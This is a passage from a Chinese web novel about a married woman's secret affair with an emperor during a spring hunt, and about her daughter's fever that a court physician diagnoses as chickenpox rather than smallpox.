薛嘉言立刻咬住下唇,把到了嘴边的闷哼咽了回去,连呼吸都放轻了些。 第34章 想不通 不知折腾了多久,帐内的烛火都烧短了一截,姜玄才终于平息了体内的燥热。 他没有松开薛嘉言,反而更紧地将她抱在怀里,手臂圈着她的腰,像是要把她整个人揉进自己身体里一般,下巴抵在她发顶,声音沙哑地反复呢喃:“言言……言言……” 薛嘉言被他抱得胸口发闷,连呼吸都有些不畅。她靠在姜玄温热的胸膛上,心里却满是怪异。 前世明明没有营地这一出,姜玄是后来相处久了,才偶尔会叫她“言言”,怎么这一世,才相识没多久,就这般亲昵地唤她? 他方才那般失控,此刻又这般依赖,倒像是真的有多喜欢她似的,可这份喜欢来得莫名,实在让人捉摸不透。 薛嘉言实在太累了,想不通也就不再去想,沉沉睡去。 天色蒙蒙亮时,帐外的光线透进来,姜玄先醒了。 他低头看着怀中的薛嘉言,她睡相很乖,侧脸贴着他的胸膛,呼吸轻浅均匀,眉眼温柔。 这是他第一次抱着她过夜,也是第一次醒来时,她还安安稳稳待在自己怀里,这种陌生的暖意漫过心口,竟让他觉得有些奇妙。 他忍不住俯身,轻轻在她唇上印下一个吻。 薛嘉言本就觉轻,被这一下触碰瞬间惊醒。 她揉了揉惺忪的睡眼,声音带着刚醒的软糯,嘟囔道:“皇上,你醒了?那我……我该回去了。” 姜玄手臂一收,又将她抱紧了些,语气带着不容拒绝的意味:“别走,在这陪我两天。” 薛嘉言浑身骨头像散了架,又累又困,连抬手的力气都没有,只能有气无力地反驳:“皇上还要狩猎,我在这算什么事呢?” 姜玄想了想,下巴轻轻蹭过她的发顶,提议道:“我带你去骑马吧。” “那可不行,”薛嘉言立刻清醒了些,皱着眉摇头,“被人看见了,我就得被万人唾骂。” “你穿着太监的衣裳,谁能认出你?” 姜玄不以为意,“我带你去后山的林子里,那里偏僻得很,没什么人会去。” 薛嘉言实在抵不过困意,眼皮子都在打架,含糊地应了一声:“那……我能再睡会吗?” 姜玄低低“嗯”了一声,松开了环着她的手臂。 薛嘉言立刻往榻内侧挪了挪,拉过被子裹住自己,没一会儿就沉沉睡了过去,连呼吸都变得绵长。 姜玄轻手轻脚地起身,生怕吵醒她,悄悄掀帘走到外间,对着帐外喊了声“张鸿宝”。 张鸿宝很快掀帘进来,躬身候着。 “皇上,要现在端水来洗漱吗?” “嗯,”姜玄点头,走到镜前坐下,“尽快。” 不多时,宫女端着温水和洗漱用具进来,姜玄简单洗漱完毕,张鸿宝拿起梳子,小心翼翼地给他梳理长发,一边梳一边压低声音禀报:“皇上,昨晚您中媚药的事,老奴还在查源头,只是毕竟是在太后营帐中发生的,一时半会还没头绪。” 镜中的姜玄脸色瞬间沉了下来,铁青得吓人,眉心紧紧蹙起。 他闭了闭眼,似乎在压制心头的烦躁,再睁开眼时,眼底的怒意已褪去,只剩一片冷冽的清明,冷声道:“不必查了。此事到此为止,往后不必再提。” 张鸿宝手里的梳子顿了一下,心里先是讶异,接着便是了然。 媚药是在太后营帐中中的,当时一起用餐的都是太后的亲眷,不管查出来是谁,太后脸上都无光。 皇上与太后关系亲近,无论如何都会给太后面子的。 薛嘉言一觉睡到中午,肚子饿得咕咕叫,才迷迷糊糊醒过来。 刚睁开眼,宫女千茉就掀帘进来,手里捧着一套干净的太监服:“小公公,该梳洗了,陛下吩咐过,您醒了就先用餐。” 薛嘉言揉着太阳穴坐起身,任由千茉伺候着梳洗,又换上那身青灰色太监服,领口和袖口都被改过,比昨日那件更合身。 梳洗完毕,千茉端来饭菜,薛嘉言确实饿坏了,拿起筷子狼吞虎咽吃了个饱。 饭后无事,她在帐篷里翻找,从姜玄带来的书箱里摸出一本《春秋》,坐在榻边翻看。 刚看了两页,帐篷外就传来沉稳的脚步声,不多时,有人伸手撩开帘子,正是一身劲装的姜玄,腰间还挂着柄短剑。 “走,带你去骑马。”姜玄语气轻快,脸上带笑。 薛嘉言在帐篷里闷了大半天,早就觉得浑身不自在,闻言立刻合上书站起来,低着头跟在姜玄身后,亦步亦趋,活像个听话的小太监。 出了寝账,就见一匹乌黑的高头大马立在不远处,马鬃梳理得整齐顺滑,姜玄翻身上马,动作利落。七八个穿着侍卫服的人跟在他身旁,都牵着马,神色恭敬。 “小言子,过来给朕牵马。” 薛嘉言愣了一下才反应过来——“小言子”是在叫她。 她赶紧小跑过去,双手抓住马缰绳,跟着姜玄往营地外面走。 昨夜她先是坐马车颠簸了两个时辰,后来又被姜玄折腾了两个时辰,此刻浑身骨头都在酸痛,小跑起来更是觉得腿软。 “狗皇帝,自己骑着马舒服,倒叫我牵着马跑,还哄我说带我骑马!”薛嘉言在心里暗暗骂着。 正腹诽着,眼前忽然一黑,紧接着腰间一紧,原来是姜玄从马上弯下腰,伸手抓住了她的腰带,稍一用力就把她提了起来。 薛嘉言吓得心脏都快跳出来,差点叫出声,好在她及时捂住了嘴,硬生生把声音咽了回去。 下一秒,她就被姜玄拉到了马背上,稳稳落在他身前,后背紧紧贴着他的胸膛。 姜玄一只手揽着她的腰,另一只手扯动马鞭,对着黑马轻喝一声“驾”,那匹黑马立刻撒开四蹄,朝着远处飞奔而去。 薛嘉言回头望去,原来他们已经出了营地范围,难怪姜玄会突然把她拎上马。 风从耳边吹过,带着草木的清香,她坐在马前,能清晰感受到姜玄胸膛的温度,还有他揽在腰间的手臂,竟莫名觉得有些安稳。 第35章 莫名醋意 薛嘉言坐在马背上,感到十分新奇。这是她头一回骑马,和坐马车全然不同。 马车里视野低,只能隔着车窗瞧些零碎的风景,可坐在马上,身子微微晃着,能望到远处连绵的青山,近处成片的嫩草,连风都像是变得更清透,拂过脸颊时带着暖意,还裹着周边林子里淡淡的草木清香,沁得人心里都敞亮起来。 她紧绷了几日的神经渐渐放松,连嘴角都不自觉地弯了弯,心情跟着舒畅不少。 姜玄的下巴轻轻抵在她发顶,手臂仍稳稳圈着她的腰,在她耳边轻声问:“喜欢吗?” 温热的气息扫过耳廓,带着他身上淡淡的龙涎香。 薛嘉言没回头,只轻轻点了点头,小声“嗯”了一声,这般自在的时光,她确实喜欢。 姜玄唇角微勾,他就知道她会喜欢,他第一次上马时,也是这样,觉得心里莫名敞快。 他轻轻扯了扯缰绳,黑马渐渐放慢脚步,朝着前方一片水草丰茂的洼地走去。 到了地方,姜玄先翻身下马,动作利落,接着伸手从马背上把薛嘉言抱了下来,小心地放在草地上。他拍了拍马脖子,黑马便甩着尾巴,低头啃食起地上的嫩草,不用人管。 姜玄牵着薛嘉言的手,往不远处的一棵樱花树走去。 正是樱花开得盛的时候,满树粉白的花瓣簌簌落下,落英缤纷,铺在地上像层薄雪。两人在树下坐下,薛嘉言挨着姜玄的肩,能感受到他身上的温度,倒不觉得冷。 “皇上的马骑得真好呢。”薛嘉言望着不远处低头吃草的黑马,由衷地夸了一句。 她忽然想起戚少亭,戚少亭也会骑马,还是成亲后她掏银子请了师傅教的,可他顶多算“会骑”,骑马时总绷着身子,连缰绳都握得僵硬,远没有姜玄这般操纵自如、透着股潇洒劲儿。 而且,戚少亭从未有过载她同游的念头。 姜玄听了这话,侧头看了她一眼,嘴角噙着浅笑。 他自幼在冷宫里长大,琴棋书画、骑马射箭这些,从前是半分没学过的。直到十四岁从冷宫里出来,才跟着太傅和侍卫们慢慢涉猎。这些东西里,也就骑马学得最上心,一来二去竟成了最擅长的,说到底,还是因为喜欢。 姜玄指尖捻起一片落在膝头的樱花瓣,转头看向薛嘉言,忽然问道:“你想不想学骑马?” 薛嘉言愣了一下,眼神里带着几分迟疑,小声回道:“我是女子,就算学会骑马,又能如何呢?平日里也用不上。” 姜玄嗤了一声:“学会骑马就可以骑马啊,还能如何?难道你还想骑着马去上阵杀敌不成?” 薛嘉言怅然道:“可京城里的女眷,出门大都是坐马车的,没见谁骑马出门。” “马车太慢了,哪有骑马方便。以前的确骑马的少,现在年轻的姑娘们许多也骑马出行了。皇姐晖善长公主就最喜欢骑马,你在京城住了这么久,应该知道吧?” 薛嘉言当然知道,晖善长公主爱骑马是京城里人人皆知的事,她有一匹雪白的骏马,连辔头上都镶嵌着宝石,气派得很。 她轻轻叹了口气:“她是公主,身份尊贵,自然可以随心所欲。我只是个普通妇人,如何能跟她比。” 姜玄侧过身,揽了揽她的肩头,“谁说的,你想学就行。回头我送你一匹好马,等有时间的时候我教你。” 薛嘉言心里却没当真,姜玄是皇帝,日日要处理朝政,忙得脚不沾地,一年到头也就春狩、秋狩能连续歇上几日,哪有闲工夫教她骑马?这话多半就是随口说说而已。 她不想扫了姜玄的兴,便顺着他的话,敷衍着点了点头,轻声应道:“好。” 薛嘉言和姜玄说完学骑马的事,困意又渐渐涌了上来。 眼前是漫山青绿,头顶有樱花簌簌落着粉白花瓣,夕阳斜斜挂在西天,把半边天染成暖融融的橘色,连风都带着慵懒的暖意。 她不由半眯起眼,往姜玄身侧又靠了靠,脑袋轻轻搭在他肩头,呼吸渐渐变得轻浅,竟就这么靠着他小憩了过去。 姜玄原本还想跟她说会话,可转头见她眼睫轻颤,脸色带着倦意,到了嘴边的话又咽了回去。 他悄悄调整了坐姿,让她靠得更舒服些,自己也半闭着眼睛休息。 不知过了多久,薛嘉言迷迷糊糊间似乎听到有人说话。她猛地睁开眼,揉了揉惺忪的睡眼,顺着声音望去,只见姜玄身侧站着个身着墨色常服的男子,腰间佩着柄长刀,正躬身对着姜玄说话,不是苗菁是谁? 薛嘉言的脸颊瞬间就红了,连忙低下头,垂着眸盯着自己的衣襟。 苗菁早认出了皇帝身旁那“小太监”是薛嘉言,他心里又惊又疑,却半点没露在脸上,依旧垂着眼,语气平静地汇报:“皇上,事情都办妥了。” 姜玄淡淡“嗯”了一声,吩咐道:“再盯着些,别出岔子。” “是。”苗菁躬身应下,又规规矩矩行了一礼,才转身离开,脚步沉稳,没再多看薛嘉言一眼。 薛嘉言望着苗菁渐渐远去的背影,心里有些失神,不知苗菁是怎么看待她的。 若是戚少亭出了事,苗菁会不会怀疑她是因为跟皇帝有染,买凶杀了戚少亭?就算他怀疑,戚少亭骚扰过郭晓芸,想必苗菁也不会想替他讨公道吧? “你的腰可好些了?”姜玄低声问,带着几分关切,昨夜若不是她趴在他耳边讨饶,说腰真的不行了,他还想接着要。 姜玄等了片刻,没得到回应,他顺着薛嘉言的目光望去,见她盯着苗菁远去的背影,喉间不由发出一声轻哼,语气冷了几分。 薛嘉言这才回过神,茫然地转头看向姜玄,见他脸色沉了下来,眉头也蹙着,心里满是疑惑:好端端的,怎么又变脸了?这狗皇帝的脾气,真是比天还难测。 “回吧。”姜玄没再看她,语气带着不容置疑的冷淡,说罢腾地站起身走了。 薛嘉言正靠着他,他突然起身,她瞬间失去支撑,身子一歪,“哎哟”一声倒在草地上,手撑在软乎乎的草叶上,身上沾了樱花瓣,显得有些狼狈。 她抬头望去,姜玄已迈步朝着黑马的方向走去,半点没回头的意思。薛嘉言不敢耽搁,赶紧爬起来,拍了拍衣摆上的草屑,小跑着追上去,乖乖从地上捡起马缰绳,低眉顺眼地跟在他身后,尽起了“小言子”的本分。 第36章 莺莺燕燕 西山营地,太后的寝帐内,空气中飘着碧螺春的清雅香气。 各家命妇、贵女们穿着锦绣衣裳,或坐或立,围着太后谈笑风生,这是春狩期间惯例的请安,太后素来和善,待众人也无过多规矩,帐内气氛倒十分融洽。 说笑间,一道爽朗的声音忽然响起:“太后娘娘,臣女有一事想问,明日正式狩猎,我们女子也能参加吗?” 说话的是奉威将军李诚的女儿李瑶,太后堂姐的女儿,因这层关系,她时常进宫陪太后说话,在太后面前素来没那么拘束。 李瑶生得高挑,一身浅蓝骑射装衬得她身姿挺拔,眉眼间带着几分寻常女子少有的英气,倒真有几分将门虎女的模样。 太后放下手中的青瓷茶盏,笑着点头:“自然是可以参加的。不过最好有家里的兄弟陪同一起,不要出了什么事才好。” 李瑶一听,眼睛顿时亮了,语气里满是兴奋:“那太好了!阿兄说会带着我,到时候我给太后打一件猎物。” “好,好,”太后笑得更慈和了,连连夸赞,“你骑射功夫不错,明日好好表现,哀家等着你给我打一来猎物。” 李瑶被夸得脸颊微红,却也不扭捏,大方地应了声“谢太后”。 帐内其他几位会骑射的贵女,听了这话也纷纷开口,张家小姐说父亲新给她备了趁手的弓箭,沈家姑娘道兄长已帮她选好了温顺的猎马,都表露出明日要上场的心意,帐内气氛愈发热闹。 人群中,肃国公府的薛思韫悄悄攥紧了手中的绣帕,眼底掠过一丝急切。 她倒是也会骑射,可技艺实在算不得精,拉弓时手臂还会微微发颤。 明日这么多贵女都要上场,若是只有自己缩在后面,岂不是落了下风?更何况……她心里还藏着别的念头。 薛思韫出身肃国公府,堂兄薛嘉聿是现任国公爷,父亲薛千安在兵部任郎中,以她的身份,若是能入宫,至少也能得个嫔位。 去年中秋,宫中在赏月桥设宴,她第一次见到姜玄,彼时皇帝身着明黄常服,立于月下,眉目清冷却自带威仪,只一眼,她便动了芳心。 后来家里陆续给她相看人家,她都以各种理由推脱,没松过口。家里人瞧出她的心思,也知皇帝尚未选后纳妃,便没再勉强,只等着宫里何时发下选妃的旨意。 “不如现在找堂兄去练练骑射……”薛思韫暗自琢磨,心里愈发焦急。 她悄悄抬眼望瞭望太后,见众人都围着太后说话,没人留意自己,便悄悄往后退了两步,借着更衣的由头,便带着贴身丫鬟绿萼匆匆出了太后的营帐。 春日的营地边缘,新草刚没过脚踝,风里裹着淡淡的草木腥气与远处猎场的泥土味,她脚步急切,走的裙摆都微微晃荡,一边走一边低声问绿萼:“方才问了松香,确定是去西坡那边练箭了?” 绿萼连忙点头,快步跟上她的步子:“错不了的小姐,松香说国公爷约了几位好友,带着弓箭去西坡空地上练手,估摸着这会儿还没回来呢。” 两人顺着林间的小路往西行,没走多久,就见前方岔路口转过来十几骑。 马蹄踏在松软的土地上,声音不疾不徐,一行人慢悠悠地朝着营地中心方向走来。 薛思韫的脚步顿住,眼睛瞬间亮了,中间那匹乌黑骏马上坐着的,可不正是姜玄? 他穿了件赭黄镶墨边的骑射装,腰间悬着白玉带钩,身姿挺拔如松,侧脸在夕阳余晖里线条分明,冷峻的面容带着帝王的威仪。 薛思韫心头大喜,赶紧拉着绿萼往路边的老柳树下站定,飞快理了理鬓边的碎发,又抬手拢了拢衣襟。她翘首站着,只等着姜玄的马走近些,便上前屈膝问安,哪怕只说上一句话,能让皇上记住她的模样也好。 可皇上的马忽然调转马头,朝着右侧一条通往寝帐区的岔路偏了偏方向,一行人顺着岔路慢悠悠地走了,自始至终,姜玄的目光都平视着前方,似是没瞧见路边的她。 薛思韫脸上的笑意瞬间僵住,心头涌上几分失落,握着绣帕的手指不自觉地攥紧了。 她目光无意间落在了姜玄马旁牵缰绳的小太监身上,那小太监穿着一身灰扑扑的内侍服,身形看着有些单薄,肤色偏白,远远瞧着,眉眼间竟有几分像大伯在外头养的那个便宜姐姐薛嘉言。 不过薛思韫并不认为那就是薛嘉言,薛嘉言已经嫁人生子,怎么会穿着太监服出现在春狩营地?还去给皇上牵马?定是自己瞧花了眼,不过是个相貌俊秀些的真太监罢了。 没跟皇上打个照面,薛思韫有些失落,她轻轻叹了口气,拉着绿萼:“走吧,先去找堂兄。” 薛嘉言却认出来薛思韫,她心里一紧,冷汗瞬间冒了一层,薛家的人都认识她,若是被薛思韫认出来自己这副模样,定要大肆宣扬,自己与皇帝的奸情比前世还要早的败露。 她赶紧扯动缰绳,轻轻往岔路内侧带了带,稍微变动了一下方向,便不会跟薛思韫打上照面。 因下午偶遇薛思韫的事,薛嘉言心里总悬着块石头,坐在营帐里心神不宁,连千茉端来的晚膳都没吃几口。 薛嘉言问起明日的行程,千茉说明日是正式的春狩,不仅皇上和许多大臣要参加,就连贵女都有许多报名要去呢。 薛嘉言等姜玄回帐时,便斟酌着开口:“皇上,我想明日回去。家中有年幼的女儿,我出来这么久,总有些不放心。而且明日您要狩猎,我也不能跟着去,待在营帐里也无趣。” 姜玄脸色沉了沉,却也没拒绝,只淡淡“嗯”了一声:“今晚陪朕一晚,明早让张鸿宝派人送你回去。” 薛嘉言没法反驳,只得应下。 夜里,姜玄依旧对探索她乐此不疲,薛嘉言被折腾得没了力气,无奈地推了推他的肩:“皇上明日还要狩猎,就不先保存些体力吗?若是明日比不过底下的臣子,岂不是失了帝王颜面?” 姜玄闻言失笑,低头在她唇角咬了一口,伸手捏了捏她的脸,语气带着几分戏谑:“瞎操什么心?朕就是真不会射箭,明日也能猎到一头鹿。” 薛嘉言没再说话,只闭着眼任由他动作。 第37章 作死 这一夜,她又被折腾到后半夜才睡着。第二天清晨,姜玄起身时,连素来浅眠的她都没被惊醒,可见是累得狠了。 等她终于醒过来,帐外已没了往日的喧闹,营地里静悄悄的。 千茉端来温水时,笑着解释:“薛主子,您可算醒了。这会儿大部分人都去猎场了。” 薛嘉言揉着发胀的太阳穴,心里默默琢磨:这么多贵女去猎场,里头定然有不少想借着机会讨皇帝欢心、盼着进宫的。 她盼着真有人能得逞,若是皇帝有了新欢,早点厌弃她,她也就不必再进宫了。 吃完饭,张鸿宝就派了之前送她来的马车过来,还特意嘱咐车夫慢些走。 薛嘉言坐上马车,车轱辘碾过官道,一路颠簸,可她实在太累了,靠在车厢壁上,竟也睡得香甜。 薛嘉言坐马车回到戚府门口,刚进门就觉府里的气氛透着股异样,门房老刘见她回来,颤声道:“奶奶!您可算回来了!大姐儿病了,烧了一天了!” “什么?”薛嘉言脑子里“嗡”的一声,方才在马车上的困倦瞬间消散,她一把撩起裙角,不顾脚下裙摆绊住脚踝,脚步踉跄却飞快地春和院奔去。 还没踏进春和院的内室,就听见里面传来棠姐儿撕心裂肺的哭声,“哇……不要喝药!苦!娘!我要娘!” 她稚嫩的哭喊声像针一样扎在薛嘉言心上,她的心瞬间揪紧,脚步又快了几分。 冲进屋里时,眼前的景象让她心口一沉,栾氏皱着眉站在床边,脸上满是惶恐;戚倩蓉靠在桌边,见棠姐儿哭,蹙眉骂道:“哭什么哭!喝个药都不乖,不喝药怎么退烧!” 奶娘则抱着棠姐儿,手里端着一碗黑漆漆的药汁,急得额头冒汗,却怎么也喂不进去,棠姐儿扭着身子,小脸烧得通红,眼泪鼻涕糊了一脸。 “我来喂!”薛嘉言快步上前,声音带着不易察觉的颤抖。 棠姐儿泪眼朦胧间瞥见她,哭声猛地一顿,随即眼泪流得更凶了,伸出小胳膊朝着她的方向张开要抱:“娘!娘!” 那一声“娘”呜咽着,满是委屈和依赖。 薛嘉言赶紧从奶娘手里接过药碗,又小心翼翼地抱过棠姐儿,让她靠在自己怀里,轻声哄道:“棠姐儿乖,娘在呢,喝了药病就好了,好不好?娘给你糖吃,喝完药就给你,不苦的。” 她一边说,一边用小勺舀了半勺药汁,放在嘴边吹凉,再慢慢送到棠姐儿嘴边。 许是有了母亲在身边,棠姐儿这次竟没再抗拒,虽还是皱着小脸,却乖乖张开嘴,一口一口把药喝了下去。 等一碗药见了底,薛嘉言赶紧拿过一旁的糖罐子,塞了一块进棠姐儿嘴里,又轻轻拍着她的背,哼着哄她睡觉的童谣。 没一会儿,棠姐儿的眼皮就耷拉下来,带着泪痕沉沉睡了过去。 薛嘉言小心翼翼地把女儿放在床上,掖好被角,这才转过身,目光扫过栾氏和戚倩蓉,沉声问:“棠姐儿好端端的,怎么会突然病了?还烧了一天?” 栾氏眼神闪躲,支支吾吾地说:“就是……就是前日夜里着凉了,小孩子家抵抗力弱,一着凉就发烧了。” 戚倩蓉在一旁也没了方才的刻薄,眼神有些不自然地飘向窗外,没敢接话。 一旁的司春低着头,嘴唇动了动,却没敢说话。 薛嘉言看着三人的模样,心里瞬间明白不对劲,棠姐儿素来体质不错,怎么会平白着凉? 但婆婆和小姑子在,司春怕是也不敢说实话,她冷声道:“行了,棠姐儿刚睡下,你们都出去吧,别在这里吵着她。” 栾氏和戚倩蓉闻言立刻转身出了屋,等屋里只剩薛嘉言和司春两人,司春说了实情。 “奶奶,昨日上午,蓉姑娘本想出门,可太太不知怎地,不许她踏出府门半步。蓉姑娘急得直跺脚,就来咱们春和院,把棠姐儿抱走了,跟太太说要带侄女去街上看杂耍戏法,太太这才松了口,允她出门。” “可哪成想,她们出去还不到一个时辰,就有人慌慌张张把蓉姑娘送回来了,蓉姑娘自己衣裳好好的,棠姐儿的袄子、裙子全湿透了,头发滴着水,小脸冻得发青,连哭都没力气了。蓉姑娘见了太太,只说棠姐儿太调皮,在街边的池塘边玩耍,不小心脚滑掉了进去,她费了好大劲才把人捞上来。棠姐儿受了寒,当夜就发起烧来……” 薛嘉言只觉得一股怒火从心底“噌”地窜上来,栾氏定是听到了些风言风语,才着不让戚倩蓉出门。可戚倩蓉为了出去私会,竟拿棠姐儿当幌子! 定是她跟魏扬厮混时,全然忘了照看棠姐儿,才让棠姐儿掉进池塘里! 薛嘉言眼前猛地闪过前世的画面,棠姐儿溺水而亡,小脸惨白…… 如今悲剧险些重演,薛嘉言攥紧了拳头,眼底翻涌着浓烈的杀意,恨不得马上就杀了戚倩蓉。 薛嘉言低垂眉眼,默默算计。 前世戚倩蓉早早的珠胎暗结,被魏扬用一顶小轿抬进府做了妾。原以为能攀附富贵,谁知魏扬本就荒唐薄情,待她腹中孩子没保住后,更是半点情分都不讲,再不把她当回事。 魏家可不是什么好去处,她本打算冷眼旁观,由着戚倩蓉自己作死。可戚倩蓉为了出去私会,竟拿棠姐儿当挡箭牌,害得女儿落水高烧,这笔账,不能就这么算了。 既然戚倩蓉这么想往魏家的火坑里跳,那她不妨“帮”一把,让这一天来得更早些,好让戚倩蓉早日去魏家受那磋磨之苦,也算是替她“完成心愿”,顺便再体会一下声名狼藉是什么滋味。 薛嘉言走到窗边,望着院外招摇的柳枝,声音平静吩咐司春:“你去跟吕管事说一声,蓉姑娘年少贪玩,总想着出去散心,也是常情。往后她若想出门,让门房那边睁一只眼闭一只眼,不用管太太先前的吩咐。” 司春恭声应道:“婢子明白,这就去跟吕管事说。”说完,便轻手轻脚地退了出去。 第38章 揪心 屋内只剩薛嘉言一人,她走到床边,轻轻摸了摸棠姐儿温热的额头,眉头微蹙。 心里却还在盘算着:魏扬那人心性虽荒唐,却不是蠢笨的人,戚倩蓉如今毕竟是鸿胪寺少卿的妹妹,算起来也是五品官的亲眷,他与戚倩蓉私会,却未必敢随意破了她的身子,怕的是日后戚家追究起来,不好收场。 前世栾氏追问戚倩蓉时,戚倩蓉哭诉说是两人去听曲,在包厢里喝多了酒,这才意乱情迷犯了错。 既如此,要让戚倩蓉早些怀上孩子,一心奔赴魏家的龙潭虎穴,她少不得还要再“帮”一把。 薛嘉言召来吕征,低声吩咐:“你没事就跟着云阳伯府的世子魏扬,把他每日去了哪里、见了什么人都记清楚,有消息就及时回禀。” 吕征应了是,从司雨那里拿了银子出去办事了。 这些事不过是几句话的吩咐,薛嘉言的心绪很快便全被床榻上的棠姐儿牵了去。孩子年幼,一场高烧可大可小,半点马虎不得,她几乎寸步不离地守在床边。 可棠姐儿的烧竟断断续续持续了三天,始终不见退烧。 薛嘉言已换了两三个府城有名的大夫,诊脉时都摇头说“脉象平稳,药石也对症,按常理该退了”,却没人能说清为何烧总降不下来。 不过短短几日,棠姐儿原本圆鼓鼓的小脸蛋便瘦得尖了些,眼窝也微微凹陷,嘴唇上还起了两个红肿的燎泡,每次喝药或喝水时,都会皱着小脸,沙哑着喊“娘,疼”。 她精神也不大好,昨日好不容易喂进去半碗粥,又都吐了出来。 薛嘉言轻轻抚过女儿滚烫的脸颊,心疼得眼圈发红。她把棠姐儿的小手握在掌心,小手一片灼人的烫意。 夜里,她更是整夜整夜抱着棠姐儿,连衣裳都不敢脱,生怕自己睡熟了,错过女儿的动静。 这般境况下,薛嘉言第一个想到的便是找张鸿宝,若能托他请宫里的太医来看看,棠姐儿定能快点好起来。可张鸿宝还跟着姜玄在西山春狩,远水救不了近火。 除了张鸿宝,她认识的人里,唯有肃国公府有本事请动太医,可薛家向来不待见她,肃国公府那边定然不会插手。 她又想起苗菁,苗菁在锦衣卫,又是皇帝心腹,肯定能请动太医。但苗菁也随驾去了西山,同样指望不上。 薛嘉言在屋里来回踱步,急得像热锅上的蚂蚁,连日来吃不下几口饭,眼底布满了红血丝,整个人都憔悴了。 这几日里,栾氏和戚倩蓉也来看过几次。 每次进门,见棠姐儿依旧昏昏沉沉地烧着,再看看薛嘉言那张阴沉得能滴出水的脸,两人都不敢多说一句话。 栾氏只敢站在门口问两句“药喝了吗”,戚倩蓉更是连屋都不敢进,只在门外探头看一眼,便匆匆溜走。 薛嘉言此刻也没心思惩治她们,总要先把棠姐儿治好,才能腾出手来收拾她们。 又挨过两三日,棠姐儿的烧终于慢慢退了下去,摸着手脚也恢复了往日的温凉。 薛嘉言悬了多日的心总算落了半颗,连忙吩咐厨房:“炖些软烂的鸡肉粥,再蒸个蛋羹,记得少放盐。” 棠姐儿靠在她怀里,小口小口喝了小半碗粥,眼皮便开始打架,没一会儿就昏昏沉沉睡了过去。 薛嘉言自己也是连日未歇,又困又累,便抱着女儿歪在床边,伴着孩子浅浅的呼吸,也沉沉睡了过去。 谁知这觉没睡多久,她就被司雨急切的摇晃惊醒。 “奶奶!您快醒醒!不好了,棠姐儿不大对劲,身上出疹子了!” 薛嘉言一个激灵,瞬间清醒过来。她急忙让司雨端着黄铜灯盏凑到床边,自己小心翼翼地掀开盖在棠姐儿身上的薄被,又轻轻拨开女儿额前的碎发查看。 棠姐儿的脸颊、耳后,还有露在外面的小手背上,都冒出了细密的红疹子,指尖轻轻一碰,能感觉到微微的凸起。 司雨站在一旁,脸色惨白,嘴唇止不住地颤抖,声音带着哭腔:“奶奶……我弟弟小时候就是这样,一开始发烧,烧退了就出疹子,后来……后来确诊是天花,没几天就没了……” “天花”两个字像惊雷般砸在薛嘉言心上,她脸上的血色瞬间褪得一干二净,她强撑着一口气,厉声朝着门外喊道:“来人!快去请大夫!不管是哪一家,只要能请来,多花银子都愿意!” 此刻天还没亮,院外一片漆黑,守夜的仆役听到喊声,不敢耽搁,提了灯笼就往府外跑。 薛嘉言抱着棠姐儿,心像被一只手紧紧攥着,疼得快要喘不过气。 她什么都顾不得了,转头对匆匆进来的司春说:“你现在就去张公公府上,跟门房说清楚,若是张公公从西山回来了,让他务必来戚府一趟,就说棠姐儿病危,求他帮忙!” 司春应声就往外跑,薛嘉言又想起苗菁,忙又叫住一个春梅:“你去元宝胡同苗三爷家,递个话给苗府的人,就说我有急事相求,若苗三爷回府了,请派个人回话!” 春梅也急匆匆地去了,薛嘉言低头看着怀里熟睡却面色苍白的女儿,眼泪在眼眶里打转,却强忍着没掉下来。 她心里只有一个念头:若是请来的大夫没用,若是张鸿宝和苗菁都赶不及,她就去太医署门口跪着求诊,无论如何,都要保住棠姐儿的命! 司雨匆匆赶回来,身后跟着三位身着长衫的大夫,其中一位须发半白的,正是京中有名的小儿科大夫李仁安。 三人脸上都围着布巾,站着棠姐儿的床榻,眉头都拧成了疙瘩。 李仁安指尖搭在棠姐儿细弱的腕上,许久才松开,语气迟疑:“疹子细密泛红,烧退才出,瞧着像水痘,可这疹形又比寻常水痘更密些,实在不敢断定是不是天花……” 另一位年轻些的大夫也附和:“是啊,这两种病症前期太像了,若是错把天花当水痘治,耽误了时辰,后果不堪设想;可若是错把水痘当天花,用了猛药,孩子身子也受不住。” 薛嘉言声音带着抑制不住的颤抖:“三位大夫再仔细看看,有没有别的法子分辨?孩子已经烧了这么久,实在禁不起折腾了!” 可三位大夫还是摇着头,始终拿不定主意。 第39章 救驾 薛嘉言心口像是被烈火灼烧,再也等不及,转身就要往外走:“你们守着棠姐儿,我去太医署!” 就在她刚掀开屋帘时,院外忽然传来急促的脚步声,司春气喘吁吁附耳小声道:“奶奶!张公公回来了!” 薛嘉言眼中瞬间燃起希望,急匆匆就往张鸿宝府赶。 张鸿宝刚从西山回来,本想歇一日,听闻棠姐儿病危,立刻叫人备车,亲自去了太医署,请来了最擅长小儿科的周鹤年太医。 周鹤年须发皆白,精神却矍铄,提着药箱匆匆进了戚府。 他先是仔细查看了棠姐儿脸上、手上的疹子,又俯身为孩子诊脉,还详细问了烧退的时间、疹子出现的顺序,片刻后才直起身,长舒了一口气:“诸位放心,是水痘,不是天花。这孩子体质弱,水痘发得密些,才看着像天花,好在发现及时,不碍事。” 这话一出,屋内外的人都松了一口气,薛嘉言更是心口的巨石轰然落地,腿都有些发软,若不是扶着床沿,险些站不住。一旁的栾氏原本紧绷着的脸终于缓和,瞪了一眼戚倩蓉。 周鹤年取出纸笔,飞快写下药方,一边写一边叮嘱:“这药每日煎三次,饭后服用。后续孩子身上会浑身长水疱,痒得厉害,千万不能让她乱抓。抓破了不仅会留疤,还容易感染,到时候就麻烦了。我再开一副止痒的药水,痒的时候用温水泡浴,能缓解些。” 薛嘉言接过药方,双手都在微微颤抖,对着周鹤年连连躬身:“多谢太医!多谢太医!大恩大德,没齿难忘!” 她立刻让司雨取了一张银票送给周鹤年,又亲自送他出门。 果然如周鹤年所说,到了傍晚,棠姐儿身上就冒出了密密麻麻的水疱,从脸颊蔓延到四肢,连小脚上都有。 她痒得厉害,小身子在床榻上扭来扭去,小手不停往身上抓,哭得撕心裂肺:“娘!痒!好痒!我要抓!” 薛嘉言坐在床边,把棠姐儿的小手紧紧攥在自己手里,眼泪顺着脸颊往下掉,却还强装温柔哄着:“棠姐儿乖,不能抓,抓了会留疤,就不漂亮了。娘一会给你泡浴,泡了就不痒了,好不好?” 女儿每哭一声,都像刀子扎在她心上。薛嘉言一夜没合眼,始终守着棠姐儿,只觉得女儿受的这些苦,比她自己遭再多罪都要难受百倍。 两天后,棠姐儿身上的水疱终于开始结痂,痒意轻了许多,也能坐在床上小口吃些清粥小菜了。 